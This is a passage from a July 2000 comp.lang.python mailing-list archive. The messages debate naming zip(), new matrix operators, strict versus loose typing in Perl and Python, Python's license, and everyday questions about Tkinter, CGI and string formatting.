> without too much work...I was going to try this myself, but figured I'd
> ask before I started...
>
> Thanks.
>
> --
>    __
>   /  )      /         Bob van der Poel
>  /--<  ____/__        bvdpoel at uniserve.com
> /___/_(_) /_)         http://users.uniserve.com/~bvdpoel
>




From mwh21 at cam.ac.uk  Thu Jul 20 02:54:31 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 20 Jul 2000 07:54:31 +0100
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature>
Message-ID: <m3vgy1nvfc.fsf@atrus.jesus.cam.ac.uk>

Greg Ewing <see at my.signature> writes:

> Paul Prescod wrote:
> > 
> > We're looking just to pair up elements.
> 
> In that case, obviously the solution is to combine this
> thread with the one on new operator symbols, and define
> an elementwise tuple-creation operator

You're joking, right?

Cheers,
M.

-- 
  Indeed, when I design my killer language, the identifiers "foo" and
  "bar" will be reserved words, never used, and not even mentioned in
  the reference manual. Any program using one will simply dump core
  without comment. Multitudes will rejoice. -- Tim Peters, 29 Apr 1998


From simon at redcow.flibble.org  Thu Jul 20 14:58:59 2000
From: simon at redcow.flibble.org (Simon Oke)
Date: 20 Jul 2000 19:58:59 +0100
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <8l4g5i$8$1@slb7.atl.mindspring.net> <slrn8nc2oi.1r91.gjm11@g.local> <3976371F.210C2C21@uab.edu> <8l5lne$lb$1@slb0.atl.mindspring.net> <slrn8nd80e.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <87snt4iq6k.fsf@redcow.flibble.org>

scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich) writes:

> Aahz Maruch wrote in comp.lang.python:
> > In article <3976371F.210C2C21 at uab.edu>, Shae Erisson  <shapr at uab.edu> wrote:
> > >
> > >I already have a function that does this in my handy shaetools module,
> > >for me it will always be interleave.
> > 
> > Oh, *that's* a good one.  All right, anyone else agree that "interleave"
> > is the best suggestion we've had so far?
> 
> For the function that creates [1,2,3,4,5,6] of [1,3,5] and [2,4,6], yes.

I believe in INTERCAL this operator is known as 'mingle'.

Simon.


From bjorn at roguewave.com  Sat Jul 22 19:58:00 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sat, 22 Jul 2000 17:58:00 -0600
Subject: Getting method from within method?
References: <qnkitu3gd4m.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <397A3508.CBA1DB34@roguewave.com>

"David M. Cooke" wrote:
> 
> I want to do recursion, like this:
> 
> def factorial(n):
>     if n <= 1: return 1
>     else return n * factorial(n-1)
> 
> However, this depends on the name of the method staying the same. For
> instance, if I did this:
> 
> fact = factorial
> factorial = None
> 
> fact(5) would give me an error since factorial isn't a method anymore.
> It would be nice if there was some way of referring to the method
> inside of the method.
> 
> Is there any way of doing this easily?

Well, it all depends on what you mean by easy... I would suggest you
find a book on your favorite functional programming language and look up
the Y combinator.  Once you've convinced yourself that's not the way to
do it, you won't mind mentioning factorial in it's body anymore <wink>

is-this-considered-helpful'ly y'rs?
-- bjorn



From jhylton at my-deja.com  Mon Jul  3 13:45:16 2000
From: jhylton at my-deja.com (jhylton at my-deja.com)
Date: Mon, 03 Jul 2000 17:45:16 GMT
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se>
Message-ID: <8jqjf8$s1t$1@nnrp1.deja.com>

In article <Pine.GSO.4.21.0007031546410.25965-100000 at luna.dsv.su.se>,
  Kalle Svensson <kalle at gnupung.net> wrote:

> I have a few questions about the (pseudo) random number generator
supplied
> in the standard library. I need 80 random bits (for a CipherSaber IV)
but
> I hear most RNG's only supply 32 bits or less.

The random number generator in the standard library is not at all
suitable for generating a cipher key.  In general, cryptography has a
crucial requirement for random numbers that most other applications
don't: It shouldn't be possible to guess or recover the state of the
random number generator.  In the case of the random module, if the
attacker can guess or recover your inital seed, she can generate the
entire sequence of random numbers that you use for your cipher. Bad
stuff!

I recommend looking at the Yarrow design by Kelsey, Schneier, and
Ferguson:  http://www.counterpane.com/yarrow.html

A Python implementation of Yarrow-160 is included in the Pisces
distribution:
http://www.cnri.reston.va.us/software/pisces/manual/module-pisces.yarrow.html

Jeremy


Sent via Deja.com http://www.deja.com/
Before you buy.


From dworkin at ccs.neu.edu.bbs  Mon Jul 17 21:10:01 2000
From: dworkin at ccs.neu.edu.bbs (dworkin at ccs.neu.edu.bbs)
Date: 18 Jul 2000 01:10:01 GMT
Subject: Does Python support interfaces?
Message-ID: <3bRVdT$kfs@openbazaar.net>

Randall Parker <rgparker at west.net> writes:

> I'm quite new to Python. For those who are familiar with Java interfaces:
> Does Python have a similar facility?
>
> Can one declare interfaces, then declare that a class implements some
> interface, instantiate an object of that class type, and then cast it to
> an interface that it is declared to support and then pass it around as a
> reference to that interface type and make calls to methods of that
> interface type?

Better yet, Python doesn't make you do all of that work.

Just define the class, and make sure that it provides the proper
interface.  Note that I'm not using "interface" with any special
language-dependent meaning here.  If it behaves properly, it behaves
properly, and that is all that matters.

In any case, it sounds like you should read a little more about
Python.  There generally isn't any explicit type-declaration, and by
extension, casting.  "Casting" a Python object is not a very
meaningful statement.

-Justin

 


From nowonder at nowonder.de  Mon Jul 31 02:52:20 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Mon, 31 Jul 2000 06:52:20 +0000
Subject: [3rd Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de>
Message-ID: <39852224.FE658DC5@nowonder.de>

Thanks for all the feedback on the letter!

Guido mentioned that a compromise may be ahead today (Monday):
http://www.python.org/pipermail/python-list/2000-July/110928.html

I think I should wait for the results of this. But even when such
a legal compromise is reached, a clarification about the motives
in non-legalese could be worth sending a letter.

For now a 3rd draft (based mostly on your feedback):

--- begin open letter
-------------------------------------------------------
To: Dr. Robert E. Kahn <rkahn at cnri.reston.va.us>,
    (president of The Corporation for National Research Initiatives)

Dear Mr. Kahn,

as a member of the Python community which gathers around the newsgroup
comp.lang.python I would like to express my concern about the latest
license issues that have arisen around the new 1.6/2.0 releases.

The following attached signatures represent people from the Python
community who would like some clarification regarding the future of the
Python language. As of now, there has been no official statement from
your institution regarding the new Python license. We are especially
interested in the underlying intention of this change. So we request
a plain-English, non-legalese statement regarding the purpose of that
change and the ways in which it affects Python's use.

Kind regards,
Peter Schneider-Kamp
--- end open letter
----------------------------------------------------------
--- begin signature list
-----------------------------------------------------
Martijn Faassen
Jay Graves
Konrad Hinsen (Centre de Biophysique Moleculaire (CNRS))
Gareth McCaughan
David Mertz (author of a Python column for IBM developerworks)
Moshe Zadka (mathematician, Python developer)
--- end signature list
-------------------------------------------------------

Please add/change/remove your signatures.

Feedback as always strongly appreciated.

or-should-I-send-the-1st-draft-<wink>-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From see at my.signature  Wed Jul  5 22:14:18 2000
From: see at my.signature (Greg Ewing)
Date: Thu, 06 Jul 2000 14:14:18 +1200
Subject: Two Tkinter questions (long)
References: <sn66qkgrfv.fsf@motorola.com>
Message-ID: <3963EB7A.609D6BA5@my.signature>

Aaron Ginn wrote:
> 
>         self.Filter = Button(self.button_frame, text = 'Filter', \
>                       command = self.do_filter())

You're calling the function there instead of passing it.
Get rid of the empty brackets:

   self.Filter = Button(self.button_frame, text = 'Filter', \
                        command = self.do_filter)

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From paul at prescod.net.bbs  Mon Jul 17 14:40:03 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 18:40:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRLW3$kOC@openbazaar.net>

Charles Boncelet wrote:
>
> ...
>
> Remember, these people spend real money on Matlab.  Even the
> student edition is about $100.

Let me repeat a challenge I made to Huaiyu Zhu. If the only difference
between Matlab and Python is the syntax, then let's you and I make a
Matlab syntax for Python and sell it at half of Matlab's price. We could
make millions on a month's work!

After a year or so, we could promote our company as a B2B solution
(linear optimization is part of supply chain management, right?) and
then we check out as multi-millionaires.

My strong feeling is that people don't just use Matlab for the syntax.
And the popularity of Matlab books is probably not proportional to the
popularity of Matlab. University students are forced to buy those books.

Also, I agree with Bjorn. If we try to take on the attributes of every
language that is more popular than Python, we'll end up with a mess.

> Now to the specifics of the proposal: I'd like to see "@" for matrix
> mulitplication and "*" for element-wise multiplication.  This preserves
> compatibility with numpy, although breaks it with the MatPy package.
> It is more important, IMHO, to preserve compatibility with the existing
> python numerical facilities than with Matlab.  Any user switching over
> will have to learn a lot of new things anyway.  Distinguishing @ and *
> should be easy enough.

Why is it that Huaiyu Zhu proposes several operators and you propose
only one? A single operator has a MUCH higher chance of being accepted.

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From alex at magenta.com  Sun Jul 30 09:31:12 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 15:31:12 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com>
Message-ID: <8m1f0052n4o@news2.newsguy.com>

"Grant Edwards" <nobody at nowhere.nohow> wrote in message
news:QPLg5.2816$6E.738549 at ptah.visi.com...
> On Sat, 29 Jul 2000 19:52:54 GMT, Suchandra Thapa
<ssthapa at midway.uchicago.edu> wrote:
> >Alex Martelli <alex at magenta.com> wrote:
>
> >>It matters if you care about how easy/hard it is to turn those
> >>"non-programmers" into "programmers in the language you
> >>are designing".  E.g., the CP4E project, which used to be
> >>aimed at turning _everybody_ into programmers, had better
>
> >    Actually I think it would be easier for non-programmers to
> >learn a language if it has strict typing.
>
> I concur. In non-programming, life is strictly typed. Allowed
> operations are determined by the type of the object. You can't
> make a phone call on a waffle-iron.  Were I to _try_ to make a
> phone call on a waffle-iron, it doesn't "automagically" convert
> istelf into a telephone.  Instead, I get a rather interesting
> burn pattern on the side of my head.

However, there are actions, such as buying and selling, which
you can apply to objects (and many non-objects...) uniformly.

Marx denounced this specific issue as the "mercification" of
reality perpetrated by capitalism, but, while there is a
point in this, it's myopic in a wider context -- many other
actions (transporting, talking-about, wrecking, ...) are
similarly polymorphic in just about any cultural-reality.

> You can tune a piano, but you can't tune a fish...

But you can tune a program, a car, a radio.  Yes, reality IS
strongly typed (in the Python way: typing attaches to the
underlying objects, not to the labels [words] currently bound
to them), but in a 'multiple-inheritance' (multiple-roles,
multiple-interfaces) way.


Alex





From yleteigne1 at cybercable.fr  Sun Jul  2 10:06:11 2000
From: yleteigne1 at cybercable.fr (Yannick Le Teigner)
Date: Sun, 02 Jul 2000 16:06:11 +0200
Subject: CGI and images
Message-ID: <395F4C53.589EAFC0@cybercable.fr>

Hi,
I want to generate an image - plot and display it via a cgi script.
Creating the image is not hard, but I can't print the image on the page.

# this doesn't work the browser doesn't diplay errors but no images either...
print "Content-type: image/gif\n\n"
print open(myImage, "rb").read()

Any ideas?

Thank you!
Yannick





From hzhu at localhost.localdomain  Sat Jul 15 16:13:20 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Sat, 15 Jul 2000 20:13:20 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <Pine.GSO.4.10.10007151013070.26622-100000@sundial>
Message-ID: <slrn8n1hlj.916.hzhu@rock.localdomain>

On Sat, 15 Jul 2000 10:15:38 +0300 (IDT), Moshe Zadka
<moshez at math.huji.ac.il> wrote: 
>> How would you write this in list compresension (in less than 10 lines)?
>> 
>> B*(sin(A*x+b).*(A*y)/3)/C
>
>B*[sin(a)*b/3; for a,b in transpose([A*x+b, A*y])]/C
>

Questions:

Presumably the [ ... ] is a double list.  What does B*[...]/C mean?  Maybe
you need a cast?

The x, b and y are matrices, so presumably 'for a, b in' contains loops
around all the indices?

Perhaps you meant 'for a, c in'?  Do these two b's live in the same scope? 

What would the error message look like for such errors?

How do you write something like B*(A(a.*b).*c).*d?

Huaiyu


From sabren at manifestation.com  Wed Jul 19 18:45:02 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Wed, 19 Jul 2000 18:45:02 -0400 (EDT)
Subject: zip() : how about braid()
Message-ID: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com>

I accidentally deleted the list of proposed names for "zip()", so I'm
not sure if this was alrady mentioned..  I think merge makes sense,
(and I don't really have a problem with zip()), but the metaphor that
most closely resembles what it does is braid(), as in hair..

Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From petersc at stud.ntnu.no  Fri Jul  7 17:19:58 2000
From: petersc at stud.ntnu.no (Peter Schneider-Kamp)
Date: Fri, 07 Jul 2000 21:19:58 +0000
Subject: Splitting c.l.py...
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de> <3dituj9cdi.fsf@kronos.cnri.reston.va.us> <39661DE1.A409330C@roguewave.com> <20000707140442.B4771@kronos.cnri.reston.va.us> <8k579c$rts$1@slb3.atl.mindspring.net>
Message-ID: <3966497E.5A149A3B@stud.ntnu.no>

Aahz Maruch wrote:
> 
> Note that it should be simple to set up public read-only subscriptions
> to python-dev; if it isn't simple, that's a bug in Mailman.  ;-)

I'd really love that.

how-do-you-get-invited-anyway?-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From plusk at runet.edu  Sat Jul  1 22:52:40 2000
From: plusk at runet.edu (Paul D. Lusk)
Date: 2 Jul 2000 02:52:40 GMT
Subject: ? WinNT sys.stdout and re-direction
References: <8F6466ABEpluskrunetedu@137.45.128.146> <8F649A89Cgmcmhypernetcom@199.171.54.154>
Message-ID: <8F64E8ADDpluskrunetedu@137.45.128.146>

gmcm at hypernet.com (Gordon McMillan) wrote in 
<8F649A89Cgmcmhypernetcom at 199.171.54.154>:

>Paul D. Lusk wrote:
>
>>At the NT command prompt:
>>
>>script.py in.txt>out.txt
>>
>>gives me a empty out.txt
>>
>>Could somebody point me in the right direction to fix this?
>
>Your choices:
> 1) Upgrade to Win2k (hee hee)

  This does strike me as overkill.

> 2) say "python script.py in.txt >out.txt"
>
  Can do. Thanks! 
  
  Paul



From gmcm at hypernet.com  Sat Jul 15 14:31:43 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 15 Jul 2000 18:31:43 GMT
Subject: Does Python code >.require<< a run-time environment?? (New to  Python)
References: <20000714153818.28906.qmail@web5302.mail.yahoo.com> <396F4473.35DCA488@prescod.net>
Message-ID: <8F729880Egmcmhypernetcom@199.171.54.194>

Paul Prescod wrote:

>> I like the language... but one reason why I'm looking at something
>> -other- than Java is that I am kinda needing an .exe -type
>> capability...
>
>Either Python or Java code can be distributed as an executable. The
>executable bundles the interpreter into it. For Python, you want to look
>at
>
>http://starship.python.net/crew/gmcm/distribute.html
>
>For Java, at "jexegen.exe".

Sorry, Paul, the latter does not bundle in the interpreter. It just 
packages up byte code and uses a small exe to start your MS JVM.

a-pox-on-cheap-imitiations-<wink>-ly y'rs

- Gordon


From bjorn at roguewave.com  Thu Jul 13 15:18:37 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 13 Jul 2000 13:18:37 -0600
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
Message-ID: <396E160D.272C0C34@roguewave.com>

Huaiyu Zhu wrote:
> 
> We are at a crucial juncture concerning introduction of new operators into
> Python for matrix computation,
> 
> 1. Experiences with Matlab show that different operators for matrix and
>    elementwise operators are very important
> 
> 2. It is difficult to add .* and ./ as . is already a valid token.  It seems
>    that next candidate on the standard keyboard is @.
> 
> 3. Gregory Lielens has just implemented a patch that could parse additional
>    operators containing @
> 
>    a at b  is equivalent to a*b,  overloaded using __mmul__   and __rmmul__
>    a@/b                  a/b                    __mrdiv__  and __rmrdiv__
>    a/@b                  b/a                    __mldiv__  and __rmldiv__
>    a@@b                  a**b                   __mpow__   and __rmpow__
> 
>    He indicates similar constructions can be added easily.

It seems like you're trying to create a special purpose language here.
Ie. I don't see it as general enough to be worth putting into the core
unless you can come up with other use cases... Personally, I would much
prefer the ability to overload the relational operators (individually,
not through __cmp__).

-- bjorn



From grey at despair.rpglink.com  Fri Jul 28 11:23:38 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 15:23:38 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com>
Message-ID: <slrn8o397m.3ok.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 14:27:58 GMT, Grant Edwards <ge at nowhere.none> wrote:
>If I typed "1", that means I wanted a word, a printible string, and _not_ an
>integer.  If I wanted an integer I would type 1 instead of "1".  If I want to
>convert a string to an integer or an integer to a float or a float to a
>string, then _I_ will do it. I do _not_ want the language to make WAGs about
>what I meant when I typed something.

@names = ("Bob","Bob","Bob","Robert Paulson");
@occupation = ("Uncle","Uncle","Uncle","Mayhem");
$index = 0;
foreach $name (@names){
  $done = 0;
  $x = 0;
  while (!$done){
    if ($members{$name.$x}){
      $x++
      next;
    }
    else{
      $members{$name.$x} = $occupation[$index];
    }
  }
}

    Your argument completely ignores cases like the above, doesn't it?  Where
you want to have a counter incremented (math function) but need to use it in a
string constantly.  Simplistic example, yes, but a valid one.  Why force the
programmer to do constant switching to do such a simple thing?

>I meant what I typed.  If not, I'll go back and fix it until
>what I typed is what I meant.

    And I meant what I typed and do and I don't need the language telling me
that I'm the stupid one.

>There's nothing "wrong" with it.  I just don't want it to happen. The people
>responsible for designing the language apparently didn't want it to happen.
>Choose or invent a language that matches what you want.  Nobody (sane) claims
>that a particular language is the best one for everybody or for every
>application.

    Exactly my point.  I don't like it but I'm not asking for it to be
changed.  I'm just a little tired, in all of what, two days, of people putting
down another language for doing something which /they/ consider wrong.  I
consider it wrong in Python not because I'd like to see different, but because
I was told Python doesn't have that ambiguity when it does, that it doesn't do
conversion, when it does, that it doesn't do things "automagically" when it
does.  I'm pointing out that it is just as ambiguious in its own way and that
I personally consider it wrong but, as I stated in one message, I will learn
to use that.

>I don't think it makes sense to do so.  If I explicitly denote an object as a
>string (e.g. "1"), then I want it to be a string and I want it to _stay_ a
>string.

    Because you're thinking in types.  I've stated that I don't like thinking
in such primitive terms.  I don't consider 1 an integer, a string, a
character, a float, a complex or anything else in and of itself.  I take into
account the context of the operation.  You don't.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From robin at jessikat.fsnet.co.uk  Thu Jul 20 14:32:15 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 19:32:15 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <8l6vul$5ig$1@slb3.atl.mindspring.net>
 <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be>
 <y$M38JArNyd5EwxV@jessikat.fsnet.co.uk>
 <slrn8nefig.rb.hzhu@localhost.localdomain>
Message-ID: <j5dTthAvW0d5EwzV@jessikat.fsnet.co.uk>

In article <slrn8nefig.rb.hzhu at localhost.localdomain>, Huaiyu Zhu
<hzhu at localhost.localdomain> writes
>On Thu, 20 Jul 2000 17:06:03 +0100, Robin Becker
><robin at jessikat.fsnet.co.uk> wrote: 
>>
>>the kronecker product is also called the matrix direct product
>>
>>
>>A ox B = [a11 B a12 B]
>>         [a12 B a22 B]
>>
>>seems to me to be like a tensor outer product; but I ain't no
>>mathematician ;)
>
>In matlab/octave, this is called kron(A,B).  I don't think it deserves an
>infix operators, because it is just a special case of matrix multiplication.
>You can define a sparse matrix Kron(A) so that
>
>kron(A,B) == Kron(A)*B

I'd be interested in how you define either Kron and * to achieve the
result you claim without modifying the p x r matrix B; after all it
cannot involve sums of elements of B so * isn't the matrix multiply. I
could use an element wise multiply, but only if I use the end desired
shape as the second element.

>
>For such specializations it is best to explicitly spell out the names of
>operators.  This is also true of unitary functions.  + - have symbols but
>sin, cos, ... do not.
>
>>the lie product (or bracket) has applications in sensitivity analysis
>>and other more exotic stuff in differential geometry
>>
>>[A,B] = AB - BA
>
>def lie(a,b): return a*b-b*a
>
>On the other hand, the difference between elementwise and matrix operators
>are much more fundamental.  They result from the different views of vectors,
>either as a simple collection of numbers, or as a point in a linear space
>that happens to be represent by an array of numbers.
>

-- 
Robin Becker


From ejr at lotus.CS.Berkeley.EDU  Sat Jul 29 23:15:47 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 30 Jul 2000 03:15:47 GMT
Subject: Python plug-ins for Adobe Products available
References: <BvGg5.22$RZ2.62383@news.pacbell.net>
Message-ID: <8m06l3$8s4$1@agate.berkeley.edu>

And Grant Munsey writes:
 - Adobe has opened an open source site at http://opensource.adobe.com.
[...]
 - The Adobe Open Source license is reasonably liberal.

While I'll grant that this is a good first step for Adobe, these
are simply add-ons for proprietary software.  The add-ons are
often available under moderate licenses.

Meanwhile, there are existing free software projects that could 
use help.

The Gimp + Gimp-Python (instead of Photoshop):
  http://www.gimp.org/
  http://www.daa.com.au/~james/pygimp/

Sketch, which is implemented in Python (instead of Illustrator):
  http://sketch.sourceforge.net/

I'm not familiar with ``After Effects,'' but the description sounds
like an extension of Broadcast2000:
  http://heroinewarrior.com/bcast2000.html
AFAIK, there's no Python associated with that project.  Perhaps there
should be.  Integration with things like VTk (www.kitware.com) would
be nice.  VTk has a Python binding, but not a very nice one.

Jason


From paul at prescod.net  Mon Jul 17 20:22:31 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 19:22:31 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators 
 for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com>
Message-ID: <3973A347.3ABCB12F@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
> 
> That's a good point.  Can __getattr__ be made to work only on a selected
> number of attributes?  We could use it on T, H, I, C for transpose,
> Hermitian transpose, inverse and conjugate.  But if it works on all the
> undefind members the error message may be too obscure.  

I don't think you need __getattr__

class Matrix:
	def __init__( self, ....):
		self.T=Transpose( self )
		self.H=Hermitian( self )
		self.I=Inverse( self )
		self.C=Conjugate( self )
		self.E=Elementwise( self )
		self.M=self # matrixwise is default
	... other matrix-like methods ...

class Transpose:
	def __init__( self, mymatrix ):
		self.mymatrix=mymatrix
	... other matrix-like methods, but transposed ...

Notice that no computation (e.g. actual transposition) needs to be done
until you actually need to calculate a value. Maybe you can find
optimizations that allow only tiny parts of matrices to be computed.
-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From boncelet at eecis.udel.edu  Wed Jul 19 14:42:59 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Wed, 19 Jul 2000 14:42:59 -0400
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com> <slrn8na4js.so.hzhu@rock.localdomain>
Message-ID: <3975F6B3.26FD8816@eecis.udel.edu>

Huaiyu Zhu wrote:

> >Personally I think that this an overlarge crop of operators to be
> >adding. Since I prefer something like:
> >
> >A.inv * B
> >
> >to
> >
> >A \ B
> 
> They are equal in math, but not in practice.  The former takes O(n^3)
> computation while the latter is O(n^2).  The former is also less accurate
> for near singular A because of rounding error.

Let me interject: Both computing A.inv and solving AX=B takes O(n^3)
operations.  It is often preferable that an expression like A\B be
computed as solve(A,B) for numerical reasons and occasionally when
special algorithms for A can be exploited, e.g., when A is structured or
it is known that A and/or B has special properties.

This is similar to why the numerical people want += operators (besides
saving typing): Special methods can be invoked automatically.
-- 
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From nick at spam_me_not_videosystem.co.uk  Wed Jul  5 14:30:32 2000
From: nick at spam_me_not_videosystem.co.uk (Nick)
Date: Wed, 5 Jul 2000 19:30:32 +0100
Subject: GUI framework with TreeView
References: <3967f81e.23966859@nntp.interaccess.com>
Message-ID: <39637f28@news.xtml.co.uk>

"Thaddeus L Olczyk" <olczyk at interaccess.com> wrote in message
news:3967f81e.23966859 at nntp.interaccess.com...
> I need a "free" gui framework that runs on both Windows and UNIX
> ( so that lets out QT ) and gives me a component similr to Microsofts
> TreeView. Does anyone know of such a thing?

Python Mega widgets adds tree view to tkInter I believe.

wxPython and pyFltk are 2 window system with Python bindings. wxPython certainly
has a tree view.









From alex at magenta.com  Sat Jul 29 07:53:02 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 29 Jul 2000 13:53:02 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com>
Message-ID: <8luhso41ce8@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o444p.49c.grey at teleute.rpglink.com...
> On Fri, 28 Jul 2000 23:09:56 +0200, Alex Martelli <alex at magenta.com>
wrote:
> >I hope you remember that in Python there's no need for the joining
> >and later re-splitting: just putting the pair (tuple) in there is
> >so much easier and more natural.
>
>     No.  I am learning that.  A plesant side effect of this excellent
> discussion.

The quality of the discussion has surely been a pleasant surprise.
Thank you for your persistence:-).


> >Among other things, it makes it easy to save/load/change a format-string;
>
>     Nono, you misunderstand me.  I prefer the Pascal notion of variables
in
> place in the string with formatting attached to it instead of placeholder
> formatting strings with the variables hanging off the end of the string.

In Python, you can have either form, depending on your specific
preferences and needs at each case.

> Pseudo code from no language, bear with me.
>
> "Here is a string with ",$a:d:0:0," variable in it."
>
> "Here is a string with %d:0:0 variable in it.",$a
>
>     In the former I read and I see, "Oh, $a goes here with this
formatting"
> whereas in the latter it is "Oh, here is the formatting for...  uhm.. $a."

Yes, so the latter is best when you have a single format you want to
apply to several different variables at various point, the former is
best when the names are fixed.  That's why Python supplies both.

The Python syntax for a format-string including variable-names is, e.g.:

    "Here is a string with %(varname)d in it"

while the equivalent format-string without a varname would be:

    "Here is a string with %d in it"

The latter form, with anonymous placeholders, is applied (with the
% operator) to a *sequence* (or a single element, if there is just
one placeholder in the format-string).  The form with the _named_
placeholders is applied (with the same % operator) to a *mapping*,
typically a dictionary; if the dictionary you want to use happens
to be the set of variables currently bound, well, that's exactly
what the built-in function vars() is for.

So, summing up:
    "Here is a string with %(varname)d in it" % vars()
and:
    "Here is a string with %d in it" % varname

are exactly equivalent; you pays your money (metaphorically
speaking, of course), you takes your choice.

Note that the application of the format-string with the named
placeholders to vars() is *EXPLICIT*.  This lets you use any
OTHER dictionary (just as explicitly) to perform many useful
things.  Here is a typical example -- internationalization!

Say at some point in your program you have the statements:

    print "Here is a very %s %s!" % (adjective1,noun1)
    print "Here is a very %s %s!" % (adjective2,noun2)


But now you want to sell your program abroad, so the English
only messages must go.  Oh well, it is only a little work to
read the formatstring from an appropriate file, after all:

    format = getFormat("HereIs")
    print format % (adjective1,noun1)
    print format % (adjective2,noun2)

Of course, the adjective and noun will have to be gotten
in a language-specific way, too.  But there's a deeper
problem -- this form still forces the ORDER in which the
words get inserted in the format!  And different languages
